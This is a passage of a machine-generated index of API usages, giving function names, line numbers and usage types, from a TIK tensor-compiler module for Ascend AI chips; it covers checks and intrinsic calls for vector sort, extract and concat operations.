"te.tik.common.util.DTYPE_SIZE", "line_number": 351, "usage_type": "name"}, {"api_name": "tik_expr.Expr", "line_number": 353, "usage_type": "call"}, {"api_name": "te.tik.common.util.DTYPE_SIZE", "line_number": 353, "usage_type": "name"}, {"api_name": "tik_expr.Expr", "line_number": 354, "usage_type": "call"}, {"api_name": "te.tik.common.util.DTYPE_SIZE", "line_number": 354, "usage_type": "name"}, {"api_name": "tik_expr.Expr", "line_number": 360, "usage_type": "call"}, {"api_name": "te.tik.common.util.DTYPE_SIZE", "line_number": 360, "usage_type": "name"}, {"api_name": "tik_expr.Expr", "line_number": 361, "usage_type": "call"}, {"api_name": "te.tik.common.util.DTYPE_SIZE", "line_number": 361, "usage_type": "name"}, {"api_name": "tik_expr.Expr", "line_number": 362, "usage_type": "call"}, {"api_name": "te.tik.common.util.DTYPE_SIZE", "line_number": 362, "usage_type": "name"}, {"api_name": "tik_expr.Expr", "line_number": 365, "usage_type": "call"}, {"api_name": "te.tik.common.util.DTYPE_SIZE", "line_number": 365, "usage_type": "name"}, {"api_name": "tik_expr.Expr", "line_number": 366, "usage_type": "call"}, {"api_name": "te.tik.common.util.DTYPE_SIZE", "line_number": 366, "usage_type": "name"}, {"api_name": "tik_expr.Expr", "line_number": 367, "usage_type": "call"}, {"api_name": "te.tik.common.util.DTYPE_SIZE", "line_number": 367, "usage_type": "name"}, {"api_name": "tik_expr.Expr", "line_number": 371, "usage_type": "call"}, {"api_name": "tik_expr.Expr", "line_number": 374, "usage_type": "call"}, {"api_name": "tik_expr.Expr", "line_number": 375, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil.check_equality", "line_number": 377, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 377, "usage_type": "name"}, {"api_name": "tik_util.concat_params", "line_number": 383, "usage_type": "call"}, {"api_name": "tik_params.OBJECT_SPECIAL_OFFSET_LIST", "line_number": 384, "usage_type": "name"}, {"api_name": "tik_params.OBJECT_SPECIAL_SEGMENT_LIST", "line_number": 385, "usage_type": "name"}, {"api_name": "te.tvm.call_extern", "line_number": 387, "usage_type": "call"}, {"api_name": "te.tvm", "line_number": 387, "usage_type": "name"}, {"api_name": "tik_util.type_convert", "line_number": 388, "usage_type": "call"}, {"api_name": "tik_params.PIPE_V", "line_number": 389, "usage_type": "argument"}, {"api_name": "te.platform.cce_params.CCE_AXIS", "line_number": 389, "usage_type": "attribute"}, {"api_name": "te.platform.cce_params", "line_number": 389, "usage_type": "name"}, {"api_name": "tik_params.ONE_IR", "line_number": 390, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil.check_type_match", "line_number": 479, "usage_type": "call"}, {"api_name": "api.tik_tensor.Tensor", "line_number": 479, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 479, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_equality", "line_number": 480, "usage_type": "call"}, {"api_name": "te.platform.cce_params.scope_ubuf", "line_number": 481, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 480, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_type_match", "line_number": 483, "usage_type": "call"}, {"api_name": "api.tik_tensor.Tensor", "line_number": 483, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 483, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_equality", "line_number": 484, "usage_type": "call"}, {"api_name": "te.platform.cce_params.scope_ubuf", "line_number": 485, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 484, "usage_type": "name"}, {"api_name": "tik_api_util.check_repeat_times", "line_number": 488, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil.check_type_match", "line_number": 489, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 489, "usage_type": "name"}, {"api_name": "api.tik_scalar.Scalar", "line_number": 490, "usage_type": "name"}, {"api_name": "tik_expr.Expr", "line_number": 490, "usage_type": "name"}, {"api_name": "te.tik.common.util.check_scalar_dtype", "line_number": 492, "usage_type": "call"}, {"api_name": "common.tik_get_soc_name.get_soc_name", "line_number": 494, "usage_type": "call"}, {"api_name": "te.platform.cce_params.ASCEND_310", "line_number": 494, "usage_type": "name"}, {"api_name": "te.tik.common.util.check_integer_in_range", "line_number": 495, "usage_type": "call"}, {"api_name": "tik_params.MAX_MODE_NUMBER_VEXTRACT_V100", "line_number": 496, "usage_type": "argument"}, {"api_name": "te.tik.common.util.check_integer_in_range", "line_number": 500, "usage_type": "call"}, {"api_name": "tik_params.MAX_MODE_NUMBER", "line_number": 501, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil.check_equality", "line_number": 506, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 506, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_equality", "line_number": 510, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 510, "usage_type": "name"}, {"api_name": "te.platform.cce_conf.intrinsic_check_support", "line_number": 510, "usage_type": "call"}, {"api_name": "tik_params.INSTR_DTYPE_SUPPORT_STATEMENT.format", "line_number": 513, "usage_type": "call"}, {"api_name": "tik_params.INSTR_DTYPE_SUPPORT_STATEMENT", "line_number": 513, "usage_type": "name"}, {"api_name": "tik_expr.Expr", "line_number": 518, "usage_type": "call"}, {"api_name": "tik_expr.Expr", "line_number": 520, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil.check_ge", "line_number": 522, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 522, "usage_type": "name"}, {"api_name": "te.tik.common.util.reduce_mul", "line_number": 523, "usage_type": "call"}, {"api_name": "te.tik.common.util.reduce_mul", "line_number": 526, "usage_type": "call"}, {"api_name": "tik_expr.Expr", "line_number": 527, "usage_type": "call"}, {"api_name": "tik_expr.Expr", "line_number": 529, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil.check_ge", "line_number": 530, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 530, "usage_type": "name"}, {"api_name": "te.tik.common.util.reduce_mul", "line_number": 531, "usage_type": "call"}, {"api_name": "te.tik.common.util.reduce_mul", "line_number": 535, "usage_type": "call"}, {"api_name": "tik_util.concat_params", "line_number": 538, "usage_type": "call"}, {"api_name": "tik_params.VEXTRACT_OFFSET_LIST", "line_number": 538, "usage_type": "argument"}, {"api_name": "tik_params.VEXTRACT_SEGMENT_LIST", "line_number": 539, "usage_type": "argument"}, {"api_name": "tik_expr.Expr", "line_number": 543, "usage_type": "call"}, {"api_name": "te.tik.common.util.DTYPE_SIZE", "line_number": 543, "usage_type": "name"}, {"api_name": "tik_expr.Expr", "line_number": 544, "usage_type": "call"}, {"api_name": "te.tik.common.util.DTYPE_SIZE", "line_number": 544, "usage_type": "name"}, {"api_name": "te.tvm.call_extern", "line_number": 546, "usage_type": "call"}, {"api_name": "te.tvm", "line_number": 546, "usage_type": "name"}, {"api_name": "tik_util.type_convert", "line_number": 551, "usage_type": "call"}, {"api_name": "tik_params.PIPE_V", "line_number": 552, "usage_type": "argument"}, {"api_name": "te.platform.cce_params.CCE_AXIS", "line_number": 552, "usage_type": "attribute"}, {"api_name": "te.platform.cce_params", "line_number": 552, "usage_type": "name"}, {"api_name": "tik_params.ONE_IR", "line_number": 553, "usage_type": "argument"}, {"api_name": "tik_source_info.source_info_decorator", "line_number": 462, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil.check_type_match", "line_number": 574, "usage_type": "call"}, {"api_name": "api.tik_tensor.Tensor", "line_number": 574, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 574, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_equality", "line_number": 577, "usage_type": "call"}, {"api_name": "te.platform.cce_params.scope_ubuf", "line_number": 578, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 577, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_type_match", "line_number": 581, "usage_type": "call"}, {"api_name": "api.tik_tensor.Tensor", "line_number": 582, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 581, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_equality", "line_number": 584, "usage_type": "call"}, {"api_name": "te.platform.cce_params.scope_ubuf", "line_number": 585, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 584, "usage_type": "name"}, {"api_name": "tik_api_util.check_repeat_times", "line_number": 588, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil.check_type_match", "line_number": 589, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 589, "usage_type": "name"}, {"api_name": "api.tik_scalar.Scalar", "line_number": 590, "usage_type": "name"}, {"api_name": "tik_expr.Expr", "line_number": 590, "usage_type": "name"}, {"api_name": "te.tik.common.util.check_scalar_dtype", "line_number": 593, "usage_type": "call"}, {"api_name": "te.tik.common.util.check_integer_in_range", "line_number": 595, "usage_type": "call"}, {"api_name": "tik_params.MAX_MODE_NUMBER", "line_number": 595, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil.check_equality", "line_number": 599, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 599, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_equality", "line_number": 603, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 603, "usage_type": "name"}, {"api_name": "te.platform.cce_conf.intrinsic_check_support", "line_number": 603, "usage_type": "call"}, {"api_name": "tik_params.INSTR_DTYPE_SUPPORT_STATEMENT.format", "line_number": 606, "usage_type": "call"}, {"api_name": "tik_params.INSTR_DTYPE_SUPPORT_STATEMENT", "line_number": 606, "usage_type": "name"}, {"api_name": "tik_params.VCONCAT_OFFSET_LIST", "line_number": 612, "usage_type": "name"}, {"api_name": "tik_params.VCONCAT_SEGMENT_LIST", "line_number": 613, "usage_type": "name"}, {"api_name": "tik_util.concat_params", "line_number": 614, "usage_type": "call"}, {"api_name": "tik_expr.Expr", "line_number": 617, "usage_type": "call"}, {"api_name": "te.tik.common.util.DTYPE_SIZE", "line_number": 617, "usage_type": "name"}, {"api_name": "tik_expr.Expr", "line_number": 618, "usage_type": "call"}, {"api_name": "te.tik.common.util.DTYPE_SIZE", "line_number": 618, "usage_type": "name"}, {"api_name": "tik_params.PIPE_V", "line_number": 620, "usage_type": "argument"}, {"api_name": "te.platform.cce_params.CCE_AXIS", "line_number": 620, "usage_type": "attribute"}, {"api_name": "te.platform.cce_params", "line_number": 620, "usage_type": "name"}, {"api_name": "te.tvm.call_extern", "line_number": 621, "usage_type": "call"}, {"api_name": "te.tvm", "line_number": 621, "usage_type": "name"}, {"api_name": "tik_util.type_convert", "line_number": 626, "usage_type": "call"}, {"api_name": "tik_params.ONE_IR", "line_number": 627, "usage_type": "argument"}, {"api_name": "tik_source_info.source_info_decorator", "line_number": 556, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil.check_type_match", "line_number": 660, "usage_type": "call"}, {"api_name": "api.tik_tensor.Tensor", "line_number": 661, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 660, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_equality", "line_number": 663, "usage_type": "call"}, {"api_name": "te.platform.cce_params.scope_ubuf", "line_number": 664, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 663, "usage_type": "name"}, {"api_name": "tik_api_util.check_tensor_list", "line_number": 667, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil.check_type_match", "line_number": 669, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 669, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_equality", "line_number": 673, "usage_type": "call"}, {"api_name": "tik_params.SRC_LIST_LEN", "line_number": 674, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 673, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_equality", "line_number": 678, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 678, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_equality", "line_number": 682, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 682, "usage_type": "name"}, {"api_name": "te.platform.cce_conf.intrinsic_check_support", "line_number": 682, "usage_type": "call"}, {"api_name": "tik_params.INSTR_DTYPE_SUPPORT_STATEMENT.format", "line_number": 685, "usage_type": "call"}, {"api_name": "tik_params.INSTR_DTYPE_SUPPORT_STATEMENT", "line_number": 685, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_type_match", "line_number": 689, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 689, "usage_type": "name"}, {"api_name": "api.tik_scalar.Scalar", "line_number": 690, "usage_type": "name"}, {"api_name": "tik_expr.Expr", "line_number": 690, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_equality", "line_number": 695, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 695, "usage_type": "name"}, {"api_name": "tik_params.SRC_LIST_LEN", "line_number": 700, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil.check_type_match", "line_number": 701, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 701, "usage_type": "name"}, {"api_name": "api.tik_scalar.Scalar", "line_number": 702, "usage_type": "name"}, {"api_name": "tik_expr.Expr", "line_number": 702, "usage_type": "name"}, {"api_name": "te.tik.common.util.check_integer_in_range", "line_number": 710, "usage_type": "call"}, {"api_name": "tik_params.MAX_ELEMENTS_LEN", "line_number": 711, "usage_type": "argument"}, {"api_name": "tik_params.MAX_ELEMENTS_LEN", "line_number": 713, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_type_match", "line_number": 715, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 715, "usage_type": "name"}, {"api_name": "api.tik_scalar.Scalar", "line_number": 716, "usage_type": "name"}, {"api_name": "te.tik.common.util.check_scalar_dtype", "line_number": 719, "usage_type": "call"}, {"api_name": "api.tik_scalar.Scalar", "line_number": 721, "usage_type": "argument"}, {"api_name": "common.tik_get_soc_name.get_soc_name", "line_number": 725, "usage_type": "call"}, {"api_name": "te.platform.cce_params.ASCEND_310", "line_number": 725, "usage_type": "name"}, {"api_name": "te.platform.cce_params.ASCEND_910", "line_number": 725, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_in_range", "line_number": 726, "usage_type": "call"}, {"api_name": "tik_params.VALID_BIT_TUPLE", "line_number": 727, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 726, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_in_range", "line_number": 730, "usage_type": "call"}, {"api_name": "tik_params.VALID_BIT_TUPLE_V200", "line_number": 731, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 730, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_type_match", "line_number": 735, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 735, "usage_type": "name"}, {"api_name": "tik_api_util.check_repeat_times", "line_number": 741, "usage_type": "call"}, {"api_name": "te.tik.common.common_util.check_vms4_repeat_times", "line_number": 742, "usage_type": "call"}, {"api_name": "tik_params.VMS4_SR", "line_number": 765, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_type_match", "line_number": 766, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 766, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_ge", "line_number": 770, "usage_type": "call"}, {"api_name": "tik_params.VMS4_SR_ARRAY_LEN", "line_number": 771, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 770, "usage_type": "name"}, {"api_name": "te.tik.common.util.is_basic_expr", "line_number": 775, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil.raise_error", "line_number": 776, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 776, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.raise_error", "line_number": 778, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 778, "usage_type": "name"}, {"api_name": "tik_params.ONE_IR", "line_number": 786, "usage_type": "argument"}, {"api_name": "te.tvm.call_extern", "line_number": 784, "usage_type": "call"}, {"api_name": "te.tvm", "line_number": 784, "usage_type": "name"}, {"api_name": "te.tvm.call_extern", "line_number": 786, "usage_type": "call"}, {"api_name": "te.tvm", "line_number": 786, "usage_type": "name"}, {"api_name": "tik_params.VMS4_REGION_LIST0_POS", "line_number": 791, "usage_type": "name"}, {"api_name": "tik_params.VMS4_REG_BIT_ALL_ONE", "line_number": 792, "usage_type": "name"}, {"api_name": "tik_params.VMS4_REGION_LIST1_POS", "line_number": 794, "usage_type": "name"}, {"api_name": "tik_params.VMS4_REG_BIT_ALL_ONE", "line_number": 795, "usage_type": "name"}, {"api_name": "tik_params.VMS4_REGION_LIST2_POS", "line_number": 797, "usage_type": "name"}, {"api_name": "tik_params.VMS4_REG_BIT_ALL_ONE", "line_number": 798, "usage_type": "name"}, {"api_name": "tik_params.VMS4_REG_BIT_ALL_ONE", "line_number": 800, "usage_type": "name"}, {"api_name": "tik_source_info.source_info_decorator", "line_number": 630, "usage_type": "call"}, {"api_name": "tik_params.VMRGSORT4_OFFSET_LIST", "line_number": 816, "usage_type": "name"}, {"api_name": "tik_params.VMRGSORT4_SEGMENT_LIST", "line_number": 817, "usage_type": "name"}, {"api_name": "tik_util.concat_params", "line_number": 818, "usage_type": "call"}, {"api_name": "te.tvm.make.Evaluate", "line_number": 821, "usage_type": "call"}, {"api_name": "te.tvm.make", "line_number": 821, "usage_type": "attribute"}, {"api_name": "te.tvm", "line_number": 821, "usage_type": "name"}, {"api_name": "te.tvm.call_extern", "line_number": 822, "usage_type": "call"}, {"api_name": "te.tvm", "line_number": 822, "usage_type": "name"}, {"api_name": "te.tvm.call_pure_intrin", "line_number": 825, "usage_type": "call"}, {"api_name": "te.tvm", "line_number": 825, "usage_type": "name"}, {"api_name": "{'OBJECT_SPECIAL_OFFSET_LIST': 'tik_params.OBJECT_SPECIAL_OFFSET_LIST', 'OBJECT_SPECIAL_SEGMENT_LIST': 'tik_params.OBJECT_SPECIAL_SEGMENT_LIST'}.get_vm4_value", "line_number": 828, "usage_type": "call"}, {"api_name": "tik_util.type_convert", "line_number": 830, "usage_type": "call"}, {"api_name": "te.tvm.make.Block", "line_number": 832, "usage_type": "call"}, {"api_name": "te.tvm.make", "line_number": 832, "usage_type": "attribute"}, {"api_name": "te.tvm", "line_number": 832, "usage_type": "name"}, {"api_name": "tik_params.PIPE_V", "line_number": 834, "usage_type": "argument"}, {"api_name": "te.platform.cce_params.CCE_AXIS", "line_number": 834, "usage_type": "attribute"}, {"api_name": "te.platform.cce_params", "line_number": 834, "usage_type": "name"}, {"api_name": "te.platform.cce_params.CCE_AXIS", "line_number": 835, "usage_type": "attribute"}, {"api_name": "te.platform.cce_params", "line_number": 835, "usage_type": "name"}, {"api_name": "te.tvm.call_extern", "line_number": 836, "usage_type": "call"}, {"api_name": "te.tvm", "line_number": 836, "usage_type": "name"}, {"api_name": "tik_params.TWO_IR", "line_number": 838, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil.check_is", "line_number": 856, "usage_type": "call"}, {"api_name": "tik_params.VMS4_SR", "line_number": 857, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 856, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_type_match", "line_number": 859, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 859, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_ge", "line_number": 861, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 861, "usage_type": "name"}, {"api_name": "tik_params.SCALAR_LIST_LEN", "line_number": 862, "usage_type": "name"}, {"api_name": "tik_params.SCALAR_LIST_LEN", "line_number": 864, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_type_match", "line_number": 865, "usage_type": "call"}, {"api_name": "api.tik_scalar.Scalar", "line_number": 866, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 865, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_in_range", "line_number": 868, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 868, "usage_type": "name"}, {"api_name": "tik_params.ONE_IR", "line_number": 876, "usage_type": "argument"}, {"api_name": "te.tvm.call_extern", "line_number": 872, "usage_type": "call"}, {"api_name": "te.tvm", "line_number": 872, "usage_type": "name"}, {"api_name": "te.tvm.call_extern", "line_number": 875, "usage_type": "call"}, {"api_name": "te.tvm", "line_number": 875, "usage_type": "name"}, {"api_name": "tik_params.VMS4_REGION_LIST0_POS", "line_number": 878, "usage_type": "name"}, {"api_name": "tik_params.VMS4_REG_BIT_ALL_ONE", "line_number": 879, "usage_type": "name"}, {"api_name": "tik_params.VMS4_REGION_LIST1_POS", "line_number": 880, "usage_type": "name"}, {"api_name": "tik_params.VMS4_REG_BIT_ALL_ONE", "line_number": 881, "usage_type": "name"}, {"api_name": "tik_params.VMS4_REGION_LIST2_POS", "line_number": 882, "usage_type": "name"}, {"api_name": "tik_params.VMS4_REG_BIT_ALL_ONE", "line_number": 883, "usage_type": "name"}, {"api_name": "tik_params.VMS4_REG_BIT_ALL_ONE", "line_number": 884, "usage_type": "name"}, {"api_name": "tik_source_info.source_info_decorator", "line_number": 840, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil.check_type_match", "line_number": 902, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 902, "usage_type": "name"}, {"api_name": "api.tik_scalar.Scalar", "line_number": 903, "usage_type": "name"}, {"api_name": "te.tik.common.util.check_integer_in_range", "line_number": 904, "usage_type": "call"}, {"api_name": "tik_params.MAX_NUMBER", "line_number": 904, "usage_type": "name"}, {"api_name": "api.tik_scalar.Scalar", "line_number": 906, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil.check_equality", "line_number": 907, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 907, "usage_type": "name"}, {"api_name": "api.tik_scalar.Scalar", "line_number": 910, "usage_type": "argument"}, {"api_name": "tik_params.ONE_IR", "line_number": 912, "usage_type": "argument"}, {"api_name": "te.tvm.call_extern", "line_number": 911, "usage_type": "call"}, {"api_name": "te.tvm", "line_number": 911, "usage_type": "name"}, {"api_name": "tik_params.ONE_IR", "line_number": 915, "usage_type": "argument"}, {"api_name": "te.tvm.call_extern", "line_number": 914, "usage_type": "call"}, {"api_name": "te.tvm", "line_number": 914, "usage_type": "name"}, {"api_name": "tik_params.RPN_COR_IR", "line_number": 916, "usage_type": "name"}, {"api_name": "tik_source_info.source_info_decorator", "line_number": 886, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil.check_not_equality", "line_number": 932, "usage_type": "call"}, {"api_name": "te.platform.cce_params.ASCEND_310", "line_number": 933, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 932, "usage_type": "name"}, {"api_name": "common.tik_get_soc_name.get_soc_name", "line_number": 933, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil.check_type_match", "line_number": 936, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 936, "usage_type": "name"}, {"api_name": "api.tik_scalar.Scalar", "line_number": 936, "usage_type": "name"}, {"api_name": "te.tik.common.util.check_integer_in_range", "line_number": 940, "usage_type": "call"}, {"api_name": "api.tik_scalar.Scalar", "line_number": 943, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil.check_equality", "line_number": 944, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 944, "usage_type": "name"}, {"api_name": "api.tik_scalar.Scalar", "line_number": 948, "usage_type": "argument"}, {"api_name": "tik_params.ONE_IR", "line_number": 950, "usage_type": "argument"}, {"api_name": "te.tvm.call_extern", "line_number": 949, "usage_type": "call"}, {"api_name": "te.tvm", "line_number": 949, "usage_type": "name"}, {"api_name": "tik_params.ONE_IR", "line_number": 953, "usage_type": "argument"}, {"api_name": "te.tvm.call_extern", "line_number": 952, "usage_type": "call"}, {"api_name": "te.tvm", "line_number": 952, "usage_type": "name"}, {"api_name": "tik_params.RPN_OFFSET", "line_number": 954, "usage_type": "name"}, {"api_name": "tik_source_info.source_info_decorator", "line_number": 918, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil.check_type_match", "line_number": 978, "usage_type": "call"}, {"api_name": "api.tik_tensor.Tensor", "line_number": 978, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 978, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_type_match", "line_number": 979, "usage_type": "call"}, {"api_name": "api.tik_tensor.Tensor", "line_number": 979, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 979, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_equality", "line_number": 980, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 980, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_equality", "line_number": 982, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 982, "usage_type": "name"}, {"api_name": "tik_api_util.check_repeat_times", "line_number": 985, "usage_type": "call"}, {"api_name": "te.tik.common.common_util.check_vector_stride", "line_number": 987, "usage_type": "call"}, {"api_name": "tik_params.MAX_REP_STRIDE_DOUBLE_BYTE", "line_number": 988, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil.check_equality", "line_number": 991, "usage_type": "call"}, {"api_name": "te.platform.cce_params.scope_ubuf", "line_number": 992, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 991, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_equality", "line_number": 993, "usage_type": "call"}, {"api_name": "te.platform.cce_params.scope_ubuf", "line_number": 994, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 993, "usage_type": "name"}, {"api_name": "tik_params.RPN_COR_OFFSET_LIST", "line_number": 997, "usage_type": "name"}, {"api_name": "tik_params.RPN_COR_SEGMENT_LIST", "line_number": 998, "usage_type": "name"}, {"api_name": "tik_util.concat_params", "line_number": 999, "usage_type": "call"}, {"api_name": "tik_expr.Expr", "line_number": 1003, "usage_type": "call"}, {"api_name": "tik_expr.Expr", "line_number": 1004, "usage_type": "call"}, {"api_name": "te.tvm.call_extern", "line_number": 1006, "usage_type": "call"}, {"api_name": "te.tvm", "line_number": 1006, "usage_type": "name"}, {"api_name": "tik_util.type_convert", "line_number": 1011, "usage_type": "call"}, {"api_name": "tik_params.PIPE_V", "line_number": 1012, "usage_type": "argument"}, {"api_name": "te.platform.cce_params.CCE_AXIS", "line_number": 1012, "usage_type": "attribute"}, {"api_name": "te.platform.cce_params", "line_number": 1012, "usage_type": "name"}, {"api_name": "tik_params.ONE_IR", "line_number": 1013, "usage_type": "argument"}, {"api_name": "tik_params.RPN_COR_IR", "line_number": 1014, "usage_type": "name"}, {"api_name": "tik_source_info.source_info_decorator", "line_number": 956, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil.check_type_match", "line_number": 1032, "usage_type": "call"}, {"api_name": "api.tik_tensor.Tensor", "line_number": 1032, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 1032, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_type_match", "line_number": 1033, "usage_type": "call"}, {"api_name": "api.tik_tensor.Tensor", "line_number": 1033, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 1033, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_equality", "line_number": 1034, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 1034, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_equality", "line_number": 1036, "usage_type": "call"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 1036, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_equality", "line_number": 1039, "usage_type": "call"}, {"api_name": "tik_params.RPN_COR_IR", "line_number": 1040, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 1039, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_equality", "line_number": 1042, "usage_type": "call"}, {"api_name": "te.platform.cce_params.scope_ubuf", "line_number": 1043, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 1042, "usage_type": "name"}, {"api_name": "tik_check_util.TikCheckUtil.check_equality", "line_number": 1044, "usage_type": "call"}, {"api_name": "te.platform.cce_params.scope_ubuf", "line_number": 1045, "usage_type": "argument"}, {"api_name": "tik_check_util.TikCheckUtil", "line_number": 1044, "usage_type": "name"}, {"api_name": "tik_expr.Expr", "line_number": 1047, "usage_type": "call"}, {"api_name": "tik_params.PIPE_V", "line_number": 1049, "usage_type": "argument"}, {"api_name": 